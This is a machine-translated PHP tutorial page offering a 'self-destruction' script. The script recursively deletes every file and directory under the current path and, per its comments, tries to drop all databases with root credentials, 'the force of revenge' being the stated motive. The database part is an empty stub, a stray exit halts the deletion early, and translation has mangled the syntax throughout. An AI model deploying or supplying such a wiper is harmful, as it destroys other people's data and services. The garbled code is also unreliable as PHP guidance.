PHP self-destruction program (with caution), php self-destruction program with caution
This article describes the PHP self-destruction program. Share it with you for your reference. The specific implementation method is as follows:
<? Php // + ------------------------------------------------------------------------ // | Kill !! // | The program will clear all files and directories in the current directory. // | if the database information is set, try to delete all databases and table data (if the permission is sufficient !) // + Versions // | Version: $ Id $ // + versions // ---------- Database Configuration region ----------------- // the force of revenge is terrible, so you do not need to specify a database, delete all! Define ('db _ user', 'root'); define ('db _ pwd', 'root'); define ('db _ host', 'localhost '); define ('db _ port', '000000'); define ('db _ damage', true); // if it is false, the database run () is not touched (); /*** the subject idea must be brilliant! ** @ Return void **/function run () {// Delete the deletedir () file; // Delete the deleteDB ();}/*** heh, delete all files in the current directory (recursive) ** @ return void **/function deletedir ($ dir = '') {if ($ dir = '') {$ dir = realpath ('. ');} echo $ dir; exit (); if (! Handle = @ opendir ($ dir) {// check whether there is a die in the directory to be opened ("No directory");} while (false! ==( $ File = readdir ($ handle) {if ($ file! = "." & $ File! = ".. ") {// Exclude the current directory and the parent directory $ file = $ dir. DIRECTORY_SEPARATOR. $ file; if (is_dir ($ file) {deletedir ($ file);} else {if (@ unlink ($ file )) {echo "file <B> $ file </B> is deleted successfully. <Br> ";}else {echo" file <B> $ file </B> failed to be deleted! <Br> ";}}}if (@ rmdir ($ dir) {echo" directory <B> $ dir </B> is deleted successfully. <Br> \ n ";} else {echo" directory <B> $ dir </B> failed to be deleted! <Br> \ n ";}}/ *** in heh, delete the database ** @ return void **/function deleteDB () {if (DB_DAMAGE = true) {// start }}
I hope this article will help you with php programming.